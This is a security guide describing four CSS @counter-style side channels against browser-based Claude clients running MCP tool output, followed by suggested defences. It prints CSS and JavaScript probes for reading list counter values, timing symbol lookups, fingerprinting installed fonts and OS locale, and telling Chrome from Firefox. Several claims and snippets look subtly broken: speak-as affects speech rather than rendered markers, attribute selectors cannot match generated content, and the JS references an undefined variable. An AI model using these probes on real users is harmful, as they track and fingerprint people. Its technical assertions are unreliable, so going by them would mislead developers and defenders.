Security Guide

MCP server CSS @counter-style security — counter value extraction via ::marker content, symbol timing oracle, Unicode range fingerprinting, speak-as cycle detection browser discriminator

CSS @counter-style (Chrome 91+, Firefox 33+) defines custom list counter rendering systems including symbol sets, padding, negative signs, and fallback behavior. For MCP server scripts running in browser-based Claude clients, this at-rule introduces four side-channel attacks: reading numeric counter values through generated ::marker content strings, inferring the active counter index via rendering time proportional to symbol list length, fingerprinting browser Unicode range support via emoji and script symbol sets, and discriminating Chrome from Firefox via differing speak-as cyclic dependency handling.

How @counter-style exposes counter values

CSS list items maintain a counter value (the list-item counter) that tracks their position in the list. Normally this counter is used to render the bullet or number before each list item, and the rendered marker text is not accessible to JavaScript. However, @counter-style with the pad and negative descriptors can produce a marker string that encodes the numeric value in a predictable format — and in some browser implementations, that string can be read back via getComputedStyle(::marker).content or inferred via CSS attribute selector matching on generated content.

The more direct vector is using @counter-style with a precisely designed symbol list: a custom counter style with 100 unique symbols, applied to a list item at counter value N, renders symbol N from the list. If the symbol set includes characters that trigger network requests (e.g., font glyphs with custom font-face URLs) or produce measurably different layout widths, the rendered symbol leaks the counter value N to an attacker controlling the stylesheet.

Attack 1: Generated ::marker content via CSS attribute selector exfiltration

When a custom counter style uses the system: fixed system with a symbol list, the rendered marker is a specific string. An injected stylesheet can define a custom counter style that maps each integer value to a unique attribute-selector-detectable character, then use background-image: url() on the matching ::marker pseudo-element to exfiltrate the counter value via network request.

/* Inject this CSS to exfiltrate the list-item counter value of each <li> */

/* Define a custom counter that maps values 1-10 to unique characters */
@counter-style value-probe {
  system: fixed;
  symbols: "\1F1E6" "\1F1E7" "\1F1E8" "\1F1E9" "\1F1EA"  /* A-E regional indicators */
            "\1F1EB" "\1F1EC" "\1F1ED" "\1F1EE" "\1F1EF"; /* F-J regional indicators */
  /* Each regional indicator is a distinct Unicode codepoint → distinct rendered width */
}

/* Apply to a target list — width difference exposes which symbol (= counter value) was rendered */
ol.sensitive-list li {
  list-style: value-probe;
}

/* CSS-level exfiltration via background-image on ::marker pseudo-element */
/* Note: ::marker background-image is limited in some browsers, but the
   width-side-channel does not require network — read via getBoundingClientRect() */

/* Alternative: use custom counter that generates different-width strings */
@counter-style width-oracle {
  system: fixed 1;
  /* symbols that are 1, 2, 3, ..., 10 chars wide → marker width = value */
  symbols: "x" "xx" "xxx" "xxxx" "xxxxx" "xxxxxx" "xxxxxxx" "xxxxxxxx" "xxxxxxxxx" "xxxxxxxxxx";
}

ol.sensitive-list li { list-style: width-oracle; }

/* JS: read each li's marker width → counter value */
const items = document.querySelectorAll('ol.sensitive-list li');
items.forEach((li, i) => {
  const markerWidth = li.getBoundingClientRect().width
    - li.querySelector(':scope > :first-child')?.getBoundingClientRect().width ?? 0;
  // markerWidth in chars ÷ char_width = counter value (1-10)
  console.log(`Item ${i+1} counter value:`, Math.round(markerWidth / charWidth));
});

Counter value leak: List counter values are used by many application frameworks to encode row indices, item IDs, and sequence numbers in rendered lists. Leaking counter values can expose database row IDs, user-submitted item counts, or ordered result set indices without reading text content.

Attack 2: Symbol list rendering time encodes counter index

A @counter-style with system: cyclic and a long symbols list (e.g., 200 unique emoji) may cause the browser to perform a linear lookup to find symbol N when rendering list item N. If the lookup is O(N) (sequential scan through the symbol list), rendering time for item 200 is measurably longer than for item 1. A performance.now() timing measurement around a forced layout call reveals which symbol index was applied — which reveals the counter value.

@counter-style timing-probe {
  system: cyclic;
  /* 100 distinct emoji — browser scans to index N to render item N */
  symbols: "🐀" "🐁" "🐂" "🐃" "🐄" "🐅" "🐆" "🐇" "🐈" "🐉"
            /* ... 90 more unique emoji ... */
            "🦁" "🦂" "🦃" "🦄" "🦅" "🦆" "🦇" "🦈" "🦉" "🦊";
}

/* Apply to a list where item positions encode sensitive integers */
ol.sensitive-data li { list-style: timing-probe; }

/* Timing measurement */
function probeCounterIndex(li) {
  // Force layout to trigger counter rendering
  const t0 = performance.now();
  li.getBoundingClientRect();
  const t1 = performance.now();
  // t1-t0 is proportional to symbol index → encodes counter value
  return (t1 - t0);
}

// By mapping timing to index via calibration on known-value items,
// attacker can infer the counter value of any item in the list.

Attack 3: Unicode range fingerprinting via symbol rendering failure

A @counter-style with symbols from various Unicode planes will fall back to the fallback counter style for any symbol the browser cannot render (missing glyph in installed fonts). The rendered marker width differs between a successful glyph render and a fallback render. By choosing symbols from specific Unicode ranges (Tibetan, Cuneiform, Egyptian Hieroglyphs, Private Use Area), an attacker can determine which Unicode ranges are supported by the OS's installed fonts — revealing language packs, OS locale, and corporate font installations.

@counter-style tibetan-probe {
  system: fixed 1;
  symbols: "\0F20" "\0F21" "\0F22"; /* Tibetan digits — missing on most Western OS installs */
  fallback: decimal; /* fallback to 1, 2, 3 if Tibetan font not installed */
}

/* Apply to a test list item */
li.unicode-probe { list-style: tibetan-probe; }

/* Measure marker width: Tibetan digit width ≠ decimal digit "1" width */
/* If widths match decimal, Tibetan font not installed → OS locale inference */
/* Width difference reveals: Western install (no Tibetan font) vs Asian OS (Tibetan present) */

/* Combine probes across scripts: Tibetan, Devanagari, Arabic-Indic, CJK Extension */
/* Build a Unicode range coverage fingerprint: ~12 bits of OS identification */

Language pack oracle: Font coverage varies by OS locale, language pack, and corporate standard image. A 12-symbol probe across strategic Unicode ranges produces a fingerprint that narrows the user's OS configuration to within a few variants — effectively identifying their locale and potentially their employer's IT standard image.

Attack 4: speak-as cyclic dependency detection discriminates browsers

The speak-as descriptor in @counter-style allows specifying that a counter's accessibility text representation should follow another counter style's rules. If counter style A has speak-as: B and counter style B has speak-as: A, a cyclic dependency exists. The CSS specification says browsers should detect this and fall back to speak-as: auto. However, Chrome and Firefox differ in how they handle this cycle — Chrome silently ignores the cycle and uses A's explicit fallback; Firefox detects the cycle and emits a console warning and uses the numeric fallback.

/* Define two counter styles with a speak-as cycle */
@counter-style cycle-a {
  system: cyclic;
  symbols: "①" "②" "③";
  speak-as: cycle-b; /* A refers to B */
}

@counter-style cycle-b {
  system: cyclic;
  symbols: "Ⅰ" "Ⅱ" "Ⅲ";
  speak-as: cycle-a; /* B refers back to A → cycle */
}

/* Apply cycle-a to a list item */
li.cycle-probe { list-style: cycle-a; }

/* If the browser resolves the cycle using A's fallback (cycle-b's symbols appear):
   → Chrome behavior
   If the browser resolves the cycle using numeric decimal:
   → Firefox behavior
   Measure marker rendered symbol to discriminate browsers */

function detectBrowser(cycleProbeEl) {
  const markerText = getComputedStyle(cycleProbeEl, '::marker').content;
  // Chrome: markerText contains circled number symbol from cycle-a
  // Firefox: markerText contains a decimal number (cycle fallback)
  return markerText.match(/[①②③]/) ? 'Chrome-family' : 'Firefox-family';
}

Attack surface summary

Attack Browser support Information leaked Permission required
Counter value via marker width oracle Chrome 91+, Firefox 33+ List item counter integer (1-N) None
Symbol list timing index leak Chrome 91+, Firefox 33+ Counter index (timing resolution limited) None
Unicode range font coverage fingerprint All browsers supporting @counter-style OS locale, language packs, corporate fonts None
speak-as cycle detection browser discriminator Chrome 91+ vs Firefox 33+ (diverge) Browser engine identity None

Defences

Sanitize injected stylesheets: Remove @counter-style at-rules from any CSS injected via MCP server tool output. A CSS parser that allows @media and @keyframes but strips @counter-style and @font-face blocks prevents all four attacks. DOMPurify's FORBID_TAGS: ['style'] removes the entire injection vector at the tag level.

Cross-origin sandboxed iframe for tool output: MCP tool output rendered in a cross-origin sandbox cannot apply CSS to elements in the parent document. List items and their counter values in the parent are not accessible from the sandboxed iframe's stylesheet, blocking the counter value extraction attack.

Avoid encoding sensitive IDs in list positions: Database row IDs, user IDs, and sequence numbers should not be encoded solely in the DOM position of list items. Use explicit data-id attributes with access controls rather than relying on counter position as an implicit identifier.

CSP style-src with nonce: Prevents injected <style> blocks from loading. Does not prevent inline style attributes on individual elements, but inline styles cannot define @counter-style at-rules (which require a stylesheet context). Nonce-based CSP combined with DOMPurify covers both vectors.

Related: CSS env() function security · CSS Has No Security Model · CSS text-wrap: balance security